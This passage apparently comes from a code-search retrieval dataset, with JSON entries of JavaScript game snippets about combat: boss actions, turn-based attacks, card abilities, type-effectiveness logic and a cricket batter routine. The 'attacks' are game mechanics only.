(!this.secondQuarterHardPoints)\n this.secondQuarterHardPoints = true;\n else if (!this.thirdQuarterHardPoints) this.thirdQuarterHardPoints = true;\n\n this.spawnHardPoints();\n } else if (\n Math.abs(this.scene.player.x - this.weapon.x) <\n this.scene.gameConfig.worldWidth / 3 &&\n Math.random() < 0.1 &&\n !this.weapon.performingAction\n ) {\n // If weapon and player are in the same third, 5% chance to expel garbage\n this.plannedActions.push(this.expelGarbage.bind(this));\n } else if (Math.random() < 0.1 && !this.weapon.laserFiring) {\n this.bodySlamming = true;\n if (this.scene.player.x < this.scene.gameConfig.worldWidth / 2) {\n this.bodySlam(true);\n } else {\n this.bodySlam(false);\n }\n } else {\n this.actionCooldown = 0;\n }\n }", "title": "" }, { "docid": "2f76a08feb3a6664bba87a3e20dfb1d8", "score": "0.5872319", "text": "attackAction(attack, character, attacker) { \n if(this.isTurnHappeninig){\n return;\n }\n this.isTurnHappeninig = true;\n\n let effectInterrupts = this.manageEffects(attacker);\n \n // If an interrupt effect is up, ignore attacker's attack\n if(!effectInterrupts){\n let willAttackMiss = Math.floor(Math.random() * 100) > attack.accuracy;\n\n this.turnText.innerText = attacker.name + \" uses \" + attack.name;\n if(willAttackMiss){\n this.turnText.innerText += \", but misses!\";\n } else {\n // Attack animation\n this.playAttackAnimation(attack, attacker);\n\n // Attack's special effect\n let effectChance = Math.random();\n if(effectChance < attack.effect.chance){\n attack.effect.time = attack.effect.totalTime;\n console.log(attack.effect.time)\n character.effects.push(attack.effect);\n setTimeout(()=>{\n this.turnText.innerText = character.name + \" is now under \" + attack.effect.name;\n }, 500)\n }\n \n // Check if victim is weak to the attack type\n if(attack.type == character.weakness){\n character.updateHp(1.5*attack.power);\n setTimeout(()=>{\n this.turnText.innerText = \"It's super effective!\";\n }, 500)\n } else {\n character.updateHp(attack.power);\n }\n }\n } else {\n this.turnText.innerText = \"Paralized!\";\n }\n\n setTimeout(() => {\n this.playerTurn = !this.playerTurn;\n this.isTurnHappeninig = false;\n\n this.turnText.innerText = \"Choose one attack!\"\n\n if(character.Hp === 0){\n this.gameOver(attacker.name);\n return;\n }; \n\n this.gameLoop();\n }, 2000);\n \n \n }", "title": "" }, { "docid": "c92a042c4082ca157636a5f54653c2fc", "score": "0.5867946", "text": "attackAvenger() {\n const avengerMessage = this.createMessage(\n `${this.avenger.name} attacks with <span>${\n this.avenger.skills[0]\n }</span> !`,\n );\n this.api.sendMessage({\n content: avengerMessage,\n type: 'attack',\n attacker: this.client.getUserId(),\n });\n }", "title": "" }, { "docid": "d66e43c180a20f3f6b9da3f76b460e55", "score": "0.586462", "text": "handleCombat(e) {\n let {enemyDir, posY, posX} = this.state;\n if (enemyDir === 'right' && e.target.id === 'Yplus') {\n this.attack(posY + 1, posX);\n } else if (enemyDir === 'left' && e.target.id === 'Yminus') {\n this.attack(posY - 1, posX);\n } else if (enemyDir === 'up' && e.target.id === 'Xminus') {\n this.attack(posY, posX - 1);\n } else if (enemyDir === 'down' && e.target.id === 'Xplus') {\n this.attack(posY, posX + 1);\n }\n }", "title": "" }, { "docid": "3c9ff952da7c276bfe8846127e2c0525", "score": "0.5858617", "text": "effect(targetChar) {\n\t\t// record that afflicted char chose to burst out\n\t\tthis.isBurst = true;\n\t targetChar.stats[\"atk\"] *= 0.5;\n\t targetChar.stats[\"def\"] *= 0.5;\n\t}", "title": "" }, { "docid": "078ea69ff382bdee69a92c7d481de133", "score": "0.58577347", "text": "async _4560_eventHailStorm() {\r\n await this.tt.print(\"HAIL STORM---SUPPLIES DAMAGED\");\r\n this.M_totalMileage -= 5 - randomInt(10);\r\n this.B_ammo -= 200;\r\n this.M1_supplies -= 4 - randomInt(3);\r\n this._4710_doMountains();\r\n }", "title": "" }, { "docid": "7798ba687c7f0d6c1534a6d6379d0836", "score": "0.585475", "text": "setupCardAbilities(ability) {\n this.fight({\n reap: true,\n target: {\n cardType: 'creature',\n gameAction: ability.actions.dealDamage({ amount: 1 })\n },\n then: (preThenContext) => ({\n alwaysTriggers: true,\n condition: (context) =>\n preThenContext.target &&\n preThenContext.target.location === 'play area' &&\n context.player.isTideHigh(),\n gameAction: ability.actions.stun({ target: preThenContext.target }),\n message: '{0} uses {1} to stun {3}',\n messageArgs: () => preThenContext.target\n })\n });\n }", "title": "" }, { "docid": "b7434d027cdebcf69ab3d246dd122b5b", "score": "0.5848098", "text": "function enemyAction() {\n var enemyActionNumber = Math.floor(Math.random() * 4) + 1;\n if (enemyActionNumber === 1 || enemyActionNumber === 2) {\n attackAction();\n whoseTurn();\n } else if (enemyActionNumber === 3) {\n ability1Action();\n whoseTurn();\n } else {\n ability2Action();\n whoseTurn();\n }\n}", "title": "" }, { "docid": "16788246de94de4f1e91f580d9e5fcc2", "score": "0.5838081", "text": "afterFight (defender,attacker) {\n\t\t//let moo = \"\";\n\t\tlet f=\"\";\n\t\tif ( (aliens.length >= 0) && (attacker.hull <= 0) ) {\n//-------------------------------------------------------------------------------\n//Defender wins and Attacker Blew up. Slowly hide the attacker from battle as it blew up\n//-------------------------------------------------------------------------------\n\t\t\t//console.log(\"attack phase \" + i + \" over. Attacker Loses hull = \" + attacker.hull + \" Defender Wins hull = \" + defender.hull);\n\t\t\t//$( \".statusLabel\" ).text(\"Phase over. \" + attacker.name + \" Loses -- Defender Wins\");\n//-------------------------------------------------------------------------------\n//Hide the image of the ship then hide the text with hull. This does the explode effect.\n//-------------------------------------------------------------------------------\n\t\t\t$( \"img\" ).filter(\".\" + attacker.iName).toggle( \"explode\", 1000 );\n\t\t\t//f = \".a\" + attacker.iName;\n\t\t\t$( \"h5\" ).filter(\".a\" + attacker.iName).toggle( \"explode\", 1000 );\n\t\t\t\n\t\t\t\n\t\t} \n\t\tif (defender.hull <= 0) {\n//-------------------------------------------------------------------------------\n//Aliens win. Earth is dddddddddooooooooommmmmmmmmeeeeeeddddd!!!!!!!!\n//-------------------------------------------------------------------------------\n\t\t\tclearInterval(choseInterval);\n\t\t\t$( \".chose\" ).stop().hide();\n\t\t\t$( \".whoWins\" ).text(\"Aliens Win. Earth is Doomed!!!\").show();\n\t\t\t$( \".flee\" ).prop(\"disabled\", true); //this refers to .flee class\n\t \t\t$( \".fight\" ).prop(\"disabled\", true);\n\t \t\t$( \".statusLabel\" ).text(\"Phase over. \" + attacker.name + \" Wins -- Defender Loses\");\n//-------------------------------------------------------------------------------\n//Hide the image of the ship then hide the text with hull. This does the explode effect.\n//-------------------------------------------------------------------------------\n\t\t\t$( \"img\" ).filter(\".\" + defender.iName).toggle( \"explode\" );\n\t\t\t//f = \".d\" + defender.iName;\n\t\t\t$( \"h5\" ).filter(\".d\" + defender.iName).toggle( \"explode\" );\n\t\t\t$( \".alien_pics\").children().unbind( \"click\" );\n\t\t\t$(\".flee\").hide();\n\t\t\t$(\".fight\").hide();\n\t\t\t$( \".missleCount\" ).hide();\n\t\t\t$( \".instr\" ).text(\"Push Replay button to Start Over\")\n\t\t\talienScore.score++;\n\t\t\t$( \".alienScore\" ).text(alienScore.name + \": \" + alienScore.score)\n\t\t\treturn 0;\n\t\t} \n\n\t\tif ( (aliens.length === 0) ) {\n\t\t\tclearInterval(choseInterval);\n\t\t\t$( \".chose\" ).stop().hide();\n\t\t\t$( \".whoWins\" ).text(\"Defender Wins. Earth is Saved!!!\").show();\n\t\t\t$( \".flee\" ).prop(\"disabled\", true); //this refers to .flee class\n\t \t\t$( \".fight\" ).prop(\"disabled\", true);\n\t \t\t$( \".instr\" ).text(\"Push Replay button to Start Over\")\n\t \t\tearthDefenderScore.score++;\n\t \t\t$( \".defenderScore\" ).text(earthDefenderScore.name + \": \" + earthDefenderScore.score)\n\n\t \t\t//$('#btn2').prop(\"disabled\", true);\n\t\t}\n\t}", "title": "" }, { "docid": "0d0b9789276a534a54e3866fb5d58e76", "score": "0.5836587", "text": "setupCardAbilities(ability) {\n this.reap({\n target: {\n cardType: 'creature',\n gameAction: ability.actions.dealDamage((context) => ({\n amount: context.player.isTideHigh() ? 6 : 1\n }))\n }\n });\n }", "title": "" }, { "docid": "4429c8b13a0ddad136ea8e20b22e6930", "score": "0.58316505", "text": "function alphabetWar(fight) {\n\n }", "title": "" }, { "docid": "e418d1bbb0ff17a5be2b9e0485826e37", "score": "0.5830891", "text": "function attack() {\r\n if (guid) {\r\n $(\"loading\").classList.remove(\"hidden\");\r\n let move = new FormData();\r\n move.append(\"guid\", guid);\r\n move.append(\"pid\", pid);\r\n let str = this.firstElementChild.innerHTML.replace(\" \", \"\").toLowerCase();\r\n move.append(\"movename\", str);\r\n fetch(\"https://webster.cs.washington.edu/pokedex/game.php\", {method: \"POST\", body: move})\r\n .then(checkStatus)\r\n .then(JSON.parse)\r\n .then(function (outcome) {\r\n $(\"loading\").className = \"hidden\";\r\n setHealth(outcome.p1[\"current-hp\"], outcome.p1.hp, \"#my-card\", 1, outcome);\r\n setHealth(outcome.p2[\"current-hp\"], outcome.p2.hp, \"#their-card\", 2, outcome);\r\n buffs(outcome.p1, \"#my-card\");\r\n buffs(outcome.p2, \"#their-card\");\r\n let parent = qslall(\".buffs\");\r\n for (let i = 0; i < parent.length; i++) {\r\n parent[i].innerHTML = \"\";\r\n }\r\n })\r\n }\r\n }", "title": "" }, { "docid": "76853d394f3fc02dfa95d430b58df80c", "score": "0.58076656", "text": "function doBatter() {\n\n //BATTER MODE AND DISPLAY\n //console.log(batter_mode);\n chooseBatterModeFrames(1);\n chooseBatterModeFrames(2);\n //var shotpoint=crease1+100; //ball_sprite_x<(crease1+50)\n \n var keeper_x=crease1-20;\n\n //HANDLE RUNS/GOAL ACHIEVEMENT\n if (allruns>6 || allruns<0) {\n console.log(\"Total runs error:\",currentruns,byeruns,legbyeruns,wideruns,noballruns);\n debugger;\n }\n\n //sequential. More complex transitions need graph\n batter_goallist=[\"idle\",\"engage\",\"striking\",\"runlaps\",\"achieved\"];\n batter_idlemodelist=[\"wait\",\"wait_tap\",\"duck\",\"leave\",\"block\"];\n batter_shotmodelist=[\"block\",\"drive\",\"hit\"];\n batter_lapmodelist=[\"lap_left\",\"lap_right\"];\n batter_waitmode=0;\n\n //BATTER MODES AND GOALS. TO DO. Convert to array to hold mode/state\n //conditions relate to object's own position, and maybe state/pos of other objects\n //prepare for delivery, before ball released\n // && (ball_goal==\"invisible\" || ball_goal===\"none\")\n if (bowler_goal===\"runup\") {\n var tap = Math.floor((Math.random() * 100) + 1);\n batter_goal==\"idle\";\n if (tap>85) {\n batter_mode[1]=\"wait_tap\";\n }\n }\n\n //bit like markov chain: probabilistic dropping of bap to ground from high position\n if (batter_goal===\"idle\") {\n var drop = Math.floor((Math.random() * 100) + 1);\n if (drop>75) {\n batter_mode[1]=\"wait\";\n bat_tap.play();\n }\n }\n \n //BALL CONDITIONS\n var bouncer=false;\n //ball_mode===\"delivery\" && \n if (ball_sprite_x<bouncepoint && ball_sprite_y<(base_ball_y-5) && batter_goal===\"idle\") {\n bouncer=true;\n }\n\n //duck bouncers\n if (bouncer==true && currentruns==0) {\n batter_mode[1]=\"duck\";\n batter_goal=\"achieved\";\n }\n\n var playable=false;\n\n //CHANGE TO 'ENGAGE' GOAL - SHOTS + RUNNING\n //\n var shotpoint=bouncepoint; //+100 \n var hitzone=false;\n if (ball_sprite_x<=shotpoint && ball_sprite_x>=crease1) {\n hitzone=true;\n }\n if (hitzone==true && batter_goal===\"idle\") {\n //console.log(\"shotpoint:\",shotpoint);\n playable=true;\n batter_goal=\"engage\";\n }\n\n //BATTER2 HABITS\n if (batter_sprite_x[2]<bwl_sprite_x && batter_mode[2]==\"wait\") {\n batterhead_mode[2]=\"right\";\n }\n if (batter_sprite_x[2]>=bwl_sprite_x && batter_mode[2]==\"wait\") {\n batterhead_mode[2]=\"left\";\n }\n \n //NO RUNS + ENGAGE GOAL + SHOT MODES\n if (batter_goal===\"engage\") {\n doBatterPlayShot();\n }\n \n //ACHIEVING GOAL: RUNS\n if (batter_goal===\"runlaps\") {\n doBatterRunLaps();\n }\n \n //if ball achieves its goals first, then batter is finished too\n if (batter_goal===\"idle\" && ball_goal===\"achieved\") {\n batter_goal=\"achieved\";\n }\n /*\n else if (batter_goal===\"engage\" && ball_goal===\"achieved\") {\n printGoals();\n debugger;\n }\n */\n}", "title": "" }, { "docid": "f4d1f9b2be122ab22e1e1f80d64580a6", "score": "0.57961094", "text": "function enemyAbilities(){\n\tdamageEnemy();\n\tvar thisNumber = Math.floor((Math.random() * 4));\n\t//var thisNumber = 3;\n\t\tswitch(thisNumber) {\n\t\t\tcase 0:\n\t\t\tcase 1:\n\t\t\tcase 3:\n\t\t\tcase 4:\n\t\t\t\tcharacterDM();\n\t\t\tbreak;\n\t\t}\n\n\t//increases the damage by 50%.\n\tif (thisNumber == 0){\n\t\tdamageAbilitie = damage + (damage * 0.50);\n\t\tHP = HP - damageAbilitie;\n\t\tgetElementInnerHtml(\"charactersR\", \"pink\", \"dealt\", damageAbilitie , \"50% damage increased\");\n\t\tgetElement(\"characterHP\").innerHTML = HP + \" Hitpoints\";\n\t}\n\t//does a life steal ability, if the damage is 0 to 5 the lifesteal is 100%.\n\t//if the damage is 6 or above the lifesteal will be 50% of the damage dealt.\n\tif (thisNumber == 1) {\n\t\tif (damage <= 5) {\n\t\t\tenemyHP += damage;\n\t\t\tgetElementInnerHtml(\"charactersD\", \"red\", \"received\", damage, \"100% lifesteal\");\n\t\t} else {\n\t\t\tenemyHP += Math.round((damage * 0.50));\n\t\t\tgetElementInnerHtml(\"charactersD\", \"red\", \"received\", damage, \"50% lifesteal\");\n\t\t} \n\t\tHP = HP - damage;\n\t\tgetElement(\"enemyHP\").innerHTML = enemyHP + \" Hitpoints\";\n\t\tgetElement(\"characterHP\").innerHTML = HP + \" Hitpoints\";\n\t}\n\tif (thisNumber == 2){\n\t\tmyDamageDealt();\n\t\tif (damage >= 2) {\n\t\tdefenceNumber = (Math.random() * (0.60 - 0.30) + 0.30).toFixed(2);\n\t\tdamageNumber = Math.round(damage - (damage * defenceNumber));\n\t\tdefenceAbilityEnemy();\t\t\n\t\t}\n\t\telse {\n\t\t\tdefenceNumber = 1;\n\t\t\tdamageNumber = Math.round(damage - (damage * defenceNumber));\n\t\t\tdefenceAbilityEnemy();\n\t\t}\n\t}\n\t//runs the multistrike ability for the enemy (number 2)\n\tif (thisNumber == 3){\n\t\tmultistrikeNumber = 2;\n\t\tmultistrike();\n\t\tmultistrike();\n\n\t}\n\tif (thisNumber == 4){\n\t\tvar increaseDamageNumber = (Math.random() * (0.60 - 0.30) + 0.30).toFixed(2);\n\t\tvar variable = Math.round(damage + (damage * increaseDamageNumber));\n\t\tHP = HP - variable;\n\t\tincreaseDamageNumber = Math.round((increaseDamageNumber * 100));\n\t\tgetElementInnerHtml(\"charactersD\", \"orange\", \"dealt\", variable, increaseDamageNumber + \"% damage increase\");\n\t\tgetElement(\"characterHP\").innerHTML = HP + \" Hitpoints\";\n\t}\n}", "title": "" }, { "docid": "34fcbc6886e8ffe864cb97ae9a860634", "score": "0.57958424", "text": "beats (other) {\n const outcome = Vessel.battle([this], [other]);\n\n return outcome.attackersWon;\n }", "title": "" }, { "docid": "3af73f237a9b735807c3b1c16b9fd8e5", "score": "0.579497", "text": "function toAttack(){\n\tthis.is_attacking = true;\n\tthis.attack.hitEnemy = true;\n\tthis.start_time_attack = game.time.time;\n//\tthis.speed = this.SPEED_ATTACKING;\n\tthis.sound_sword_fail.play();\n}", "title": "" }, { "docid": "5a83321066a2336208bf05271258188b", "score": "0.5794648", "text": "function get_ability(damage, index, ability) {\n // 0: normal\n // 1: weak\n // 2: resist\n // 3: immune\n\n // Switch on type\n switch (index) {\n // Electric Type\n case 3:\n // Switch on ability\n switch (ability) {\n // Motor Drive Grants Lightning Immunity\n case \"motor drive\":\n // Volt Absorb grants Lightning Immunity\n case \"volt absorb\":\n // Lightning Rod Grants Lightning Immunity\n case \"lightning rod\":\n {\n // Set damage to 3 (immune)\n damage = 3;\n }\n break;\n }\n\n break;\n\n // Fire Type\n case 6:\n // Switch on ability\n switch (ability) {\n // Fluffy adds fire weakness\n case \"fluffy\":\n // Dry Skin adds fire weakness\n case \"dry skin\":\n {\n // Switch on damage dealt\n switch (damage) {\n // If the attack is currently neutral\n case 0: {\n // Set it to super-effective\n damage = 1;\n break;\n }\n\n // If the attack is currently resisted\n case 2: {\n // Set it to neutral\n damage = 0;\n break;\n }\n }\n }\n\n break;\n\n // Baked Body grants fire immunity\n case \"baked body\":\n // Flash Fire grants fire immunity\n case \"flash fire\": {\n // Set damage to 3 (immune)\n damage = 3;\n break;\n }\n\n // Grants additional fire resist\n case \"heatproof\":\n // Grants additional fire resist\n case \"water bubble\":\n // Grants additional fire resist\n case \"thick fat\":\n {\n // Switch on damage dealt\n switch (damage) {\n // If the attack is currently neutral\n case 0: {\n // Set it to resisted\n damage = 2;\n break;\n }\n\n // If the attack is currently super-effective\n case 1: {\n // Set it to neutral\n damage = 0;\n break;\n }\n }\n }\n break;\n }\n\n break;\n\n // Ghost Type\n case 8: {\n // Switch on ability\n switch (ability) {\n case \"purifying salt\": {\n switch (damage) {\n case 0: {\n // Neutral\n damage = 2; // Resist\n }\n case 1: {\n // Weak\n damage = 0; // Neutral\n }\n }\n }\n }\n break;\n }\n\n // Grass Type\n case 9:\n {\n // Switch on ability\n switch (ability) {\n // Sap Sipper - Grants immunity to grass moves\n case \"sap Sipper\": {\n // Set damage to 3 (immune)\n damage = 3;\n break;\n }\n }\n }\n break;\n\n // Ground Type\n case 10: {\n // Switch on ability\n switch (ability) {\n // Earth Eater - Grants immunity to ground moves\n case \"earth eater\":\n // Levitate - Grants immunity to ground moves\n case \"levitate\": {\n // Set damage to 3 (immune)\n damage = 3;\n break;\n }\n }\n break;\n }\n\n // Ice Type\n case 11: {\n // Switch on ability\n switch (ability) {\n // Grants additional ice resist\n case \"thick fat\": {\n // Switch on damage dealt\n switch (damage) {\n // If the attack is currently neutral\n case 0: {\n // Set it to resisted\n damage = 2;\n break;\n }\n // If the attack is currently super-effective\n case 1: {\n // Set it to neutral\n damage = 0;\n break;\n }\n }\n break;\n }\n }\n break;\n }\n\n // Water Type\n case 17:\n {\n // Switch on ability\n switch (ability) {\n // Water Absorb - Grants immunity to water moves\n case \"water absorb\": {\n // Set damage to 3 (immune)\n damage = 3;\n break;\n }\n }\n }\n break;\n }\n\n // Return the new damage value to the calling process\n return damage;\n}", "title": "" }, { "docid": "15bdb4e608e66bf448505d6e9ac0dd9e", "score": "0.5793753", "text": "attack(){\n //Keep background:\n background(backgroundImg);\n quill.display();\n hatch.display();\n imellia.display();\n ace.display();\n whisper.display();\n\n //Move to character of choice:\n if (this.attackPhase === 1){\n if (bChoice === 1){\n if (this.x > width/5){\n this.x -= 4;\n this.textX = width/5;\n this.textY = height/6.5;\n } if (this.y > height/6.5){\n this.y -= 4;\n }\n } if (bChoice === 2){\n if (this.x > width/25){\n this.x -= 4;\n this.textX = width/25;\n this.textY = height/4;\n } if (this.y > height/4){\n this.y -= 4;\n }\n } if (bChoice === 3){\n if (defence < 5){\n if (this.x > hatch.getLocation(1)){\n this.x -= 4;\n this.textX = hatch.getLocation(1);\n this.textY = hatch.getLocation(2);\n } if (this.y > hatch.getLocation(2)){\n this.y -= 4;\n }\n }\n else{\n if (this.x > hatch.getLocation(1)){\n this.x -= 4;\n this.textX = hatch.getLocation(1);\n this.textY = hatch.getLocation(2);\n } if (this.y < hatch.getLocation(2)){\n this.y += 4;\n }\n }\n } if (bChoice === 4){\n if (this.x > width/25){\n this.x -= 4;\n this.textX = width/25;\n this.textY = height/2;\n }\n if (this.y > height/2){\n this.y -= 4;\n }\n } if (bChoice === 5){\n if (this.x > width/5){\n this.x -= 4;\n this.textX = width/5;\n this.textY = height/1.6;\n }\n if (this.y < height/1.6){\n this.y += 4;\n }\n }\n boss.display();\n\n if (frameCount - startAttack > 220){\n this.attackPhase = 2;\n }\n return false;\n }\n //CLAW!\n if (this.attackPhase === 2){\n image(bImg[2], this.x, this.y);\n fill(255, 0, 0);\n if (this.x < width/5){\n if (defended){\n text(\"-\" + (this.mDamage2 - 100), this.textX, this.textY);\n fill(200);\n text(\"DEFENDED\", this.textX, this.textY - height/20);\n }\n else{\n text(\"-\" + this.mDamage2, this.textX, this.textY);\n }\n }\n else{\n if (defended){\n text(\"-\" + (this.mDamage1 - 100), this.textX, this.textY);\n fill(200);\n text(\"DEFENDED\", this.textX, this.textY - height/20);\n }\n else{\n text(\"-\" + this.mDamage1, this.textX, this.textY);\n }\n }\n\n if (frameCount - startAttack > 320){\n this.attackPhase = 3;\n }\n return false;\n }\n //Return to original position:\n if (this.attackPhase === 3){\n if (this.x < width/2){\n this.x += 4;\n } if (bChoice < 5){\n if (this.y < height/2){\n this.y += 4;\n }\n }\n else{\n if (this.y > height/2){\n this.y -= 4;\n }\n }\n boss.display();\n\n if (frameCount - startAttack > 520){\n this.attackPhase = 1;\n return true;\n }\n }\n }", "title": "" }, { "docid": "93db7e2c3edf3513693281e93326b10c", "score": "0.57919484", "text": "doCombat() {\n const { attacker, defender, attackType } = this;\n const damage = attacker.getDamageFor(attackType);\n console.debug(chalk.yellow(`${attacker.name} (id:${attacker.id}) rolled ${damage} ${attackType} damage`));\n const defense = defender.rollDefenseArmor();\n console.debug(chalk.yellow(`${defender.name} (id:${defender.id}) rolled ${defense} defense`));\n const loss = damage - defense;\n defender.reduceHP(loss);\n console.debug(chalk.yellow(`${attacker.name} did ${loss} damage to ${defender.name} with a ${attackType} attack`));\n if (defender.isAlive()) {\n const effect = attacker.getEffectFor(attackType);\n if (effect) {\n const affected = defender.applyEffect(effect);\n console.debug(chalk.red(`${defender.name} is ${affected ? `now ${effect}` : `still ${effect}`}`));\n }\n }\n attacker.depleteSteps(null);\n }", "title": "" }, { "docid": "6212d8b7168685e214b26706b8ccf56c", "score": "0.57910764", "text": "function abilities(){\n\tmyDamageDealt();\n\tvar thisNumber = Math.floor((Math.random() * 4));\n\tconsole.log(thisNumber + \"this number\");\n\t//var thisNumber = 3;\n\tswitch(thisNumber) {\n\t\tcase 0:\n\t\tcase 1:\n\t\tcase 3:\n\t\tcase 4:\n\t\t\tenemyDM();\n\t\tbreak;\n\t}\n\t//increases the damage by 50%.\n\tif (thisNumber == 0){\n\t\tconsole.log(\"my damage\");\n\t\tdamageAbilitie = Math.round(damage + (damage * 0.50));\n\t\tenemyHP = enemyHP - damageAbilitie;\n\t\tgetElementInnerHtml(\"charactersR\", \"pink\", \"dealt\", damageAbilitie , \"50% damage increased\");\n\t\tgetElement(\"enemyHP\").innerHTML = enemyHP + \" Hitpoints\";\n\t}\n\t//does a life steal ability, if the damage is 0 to 5 the lifesteal is 100%.\n\t//if the damage is 6 or above the lifesteal will be 50% of the damage dealt.\n\tif (thisNumber == 1) {\n\t\tif (damage <= 5) {\n\t\t\tHP += damage;\n\t\t\tgetElementInnerHtml(\"charactersR\", \"red\", \"dealt\", damage, \"100% lifesteal\");\n\t\t} else {\n\t\t\tHP += Math.round((damage * 0.50));\n\t\t\tgetElementInnerHtml(\"charactersR\", \"red\", \"dealt\", damage, \"50% lifesteal\");\n\t\t} \n\t\tenemyHP = enemyHP - damage;\n\t\tgetElement(\"characterHP\").innerHTML = HP + \" Hitpoints\";\n\t\tgetElement(\"enemyHP\").innerHTML = enemyHP + \" Hitpoints\";\n\t}\n\tif (thisNumber == 2){\n\t\tdamageEnemy();\n\t\tif (damage >= 2) {\n\t\tdefenceNumber = (Math.random() * (0.60 - 0.30) + 0.30).toFixed(2);\n\t\tdamageNumber = Math.round(damage - (damage * defenceNumber));\n\t\tdefenceNumber = Math.round(defenceNumber);\n\t\tdefenceAbilityCharacter();\t\t\n\t\t}\n\t\telse {\n\t\t\tdefenceNumber = 1;\n\t\t\tdamageNumber = Math.round(damage - (damage * defenceNumber));\n\t\t\tdefenceAbilityCharacter();\n\t\t}\n\t}\n\t//runs the multistrike ability for the character (number 1)\n\tif (thisNumber == 3){\n\t\tmultistrikeNumber = 1;\n\t\tmultistrike();\n\t\tmultistrike();\n\t}\n\t//increase damage ability.\n\t//generates a random number between 0.30 and 0.60 and multiplies that with the damage and add it to the regular damage.\n\tif (thisNumber == 4){\n\t\tvar increaseDamageNumber = (Math.random() * (0.60 - 0.30) + 0.30).toFixed(2);\n\t\tvar variable = Math.round(damage + (damage * increaseDamageNumber));\n\t\tenemyHP = enemyHP - variable;\n\t\tincreaseDamageNumber = Math.round((increaseDamageNumber * 100));\n\t\tgetElementInnerHtml(\"charactersR\", \"orange\", \"dealt\", variable, increaseDamageNumber + \"% damage increase\");\n\t\tgetElement(\"enemyHP\").innerHTML = enemyHP + \" Hitpoints\";\n\t}\n}", "title": "" }, { "docid": "01e0d30ea37daedbdaba26de5b51e745", "score": "0.5789359", "text": "attack(target)\n { \n if(target.isDefeated === false)\n { \n console.log(`${this.name} is attacking ${target.name} \\n`);\n \n let multiplier = Math.abs(Math.ceil(this.criticalValue - ( Math.floor( Math.random() * target.defense ) +1 ) ));\n console.log('multiplier: ' + multiplier);\n let damage = Math.floor( Math.random() * this.strength ) + 1;\n damage *= multiplier;\n if(this.isFast)\n { \n // if target level is higher than this object, decrease 100% by level difference\n target.life -= damage;\n if(target.life >= 0)\n {\n console.log( `${this.name} hit for ${damage} damage\\n` );\n console.log(target.checkStats() );\n }\n if(target.life <= 0)\n {\n target.isDefeated = true;\n target.life = 0;\n console.log( target.checkStats() );\n this.gainExp(target);\n } \n }\n else\n {\n console.log(`${this.name} is groggy...`);\n let hit = Math.floor( Math.random() * 2 );\n hit === 1 ? target.life -= Math.floor( damage / 2 ) + 1 : console.log(`${this.name} missed...`);\n this.checkStats(); \n if(target.life <= 0)\n {\n target.isDefeated = true;\n target.life = 0;\n this.gainExp(target);\n } \n }\n }\n }", "title": "" }, { "docid": "23dfb1c01d1975abc90d5beb7420964c", "score": "0.5780055", "text": "function defaultAttackType(){\r\n // 2 -> Defend, 3 -> Attack, 4 -> Steal\r\n\t\t\r\n\t\t// BUGFIX : OASIS - can only be attack:raid (fr3nchlover)\r\n if (crtPage.match(/a2b.php\\?(.*)&o/)) act = 4; else {\r\n\t\t\tvar actDef = getGMcookie('rpdefact', false);\r\n\t\t\tvar act = 2;\r\n\t\t\tif (actDef != \"false\") act = (parseInt(actDef) + 2);\r\n\t\t\t//action = 2 if the destination is one of your own villages\r\n\t\t\tif (crtPage.search(/z=(\\d+)/) >= 0) {\r\n\t\t\t\tvar z = RegExp.$1;\r\n\t\t\t\tfor (var i = 0; i < vList.length; i++) {if (z == vList[i].vID) act = 2;}\r\n\t\t\t}\r\n\t\t}\r\n var rbAction = find(\"//input[@value='\" + act + \"' and @name='c']\", XPFirst);\r\n if (rbAction) rbAction.checked = true;\r\n }", "title": "" }, { "docid": "cb5813b65e39316fb42bb3a87bc93b8b", "score": "0.5776653", "text": "attack(opponent, chosenAttack) {\r\n \r\n // Based on the attacks accracy, determine wether it will miss\r\n let hit = !willAttackMiss(chosenAttack.accuracy);\r\n \r\n // Based on the attack type and the target pokémon's type, calculate damage nerf/buff\r\n let effect = this.verifyEffect(opponent.type, chosenAttack.type);\r\n\r\n // If the attack hits, the target's HP will be updated\r\n if (hit) {\r\n opponent.updatePokemonHp(opponent.hp - chosenAttack.power * effect);\r\n var statusText = opponent.changeStatus(chosenAttack);\r\n }\r\n // Update HTML text with the used attack\r\n turnText.innerText = this.name + ' used ' + chosenAttack.name;\r\n\r\n /* Update HTML text on three cases: the attack misses, the attack is \r\n super effective or the attack is not very effective */\r\n if(!this.canFight){\r\n for (stat in this.status){\r\n if (this.status[stat]){\r\n turnText.innerText = this.name + ' is ' + stat;\r\n }\r\n }\r\n }else{\r\n turnText.innerText += (!hit) ? ', but missed!'\r\n : (effect > 1) ? \", it's super effective!\"\r\n : (effect < 1) ? \", it's not very effective...\"\r\n : '!';\r\n }\r\n\r\n return statusText;\r\n }", "title": "" }, { "docid": "b669ece94db7c2cbfc2951ac04c04060", "score": "0.5775547", "text": "handleAttacking(player) {\n // Calculate distance from this player to the waste\n let d2 = dist(this.x, this.y, player.x, player.y);\n // Check if the distance is less than their two radii (an overlap)\n if (d2 < this.radius + player.radius) {\n // Decrease player health and constrain it to its possible range\n //player.health -= player.healthGainPerEat * 6;\n //this.health = constrain(this.healtsh, 0, this.maxHealth);\n // Decrease supply health by the same amount\n this.health -= player.healthGainPerEat;\n // Check if the supply died and reset it if so\n if (this.health < 2) {\n this.reset();\n }\n }\n }", "title": "" }, { "docid": "746dbcf57b39bdd646dd34137652015c", "score": "0.5774777", "text": "function damageCalculator(unitA, unitB, attack){\n\n\n\n\n var damage = 0;\n if(attack.accuracy > Math.floor(Math.random()*100)+1){\n\n\n var eleAdvantage1 = elementTable[element[attack.element]][element[unitB.element1]];\n var eleAdvantage2 = elementTable[element[attack.element]][element[unitB.element2]];\n\n var matchEleBonus = 1; //moveElementMatchBonus\n if(attack.element === unitA.element1 || attack.element === unitA.element2){\n matchEleBonus = 1.25;\n }\n\n //Mind Light Dark bonus\n var confBonus = 1;\n //Mind(1) --> Light(3) ---> Dark(2) --> Mind\n if(type[unitA.type] === 1){\n if(type[unitB.type] === 2){\n if(Math.floor(Math.random()*100)+1 < unitB.confidence){\n confBonus = .75;\n }\n }else if(type[unitA.type] === 3){\n if(Math.floor(Math.random()*100)+1 < unitA.confidence){\n confBonus = 1.25;\n }\n }\n } else if(type[unitA.type] === 2){\n if(type[unitB.type] === 1){\n if(Math.floor(Math.random()*100)+1 < unitA.confidence){\n confBonus = 1.25;\n }\n }else if(type[unitA.type] === 3){\n if(Math.floor(Math.random()*100)+1 < unitB.confidence){\n confBonus = .75;\n }\n }\n } else if(type[unitA.type] === 3){\n if(type[unitB.type] === 1){\n 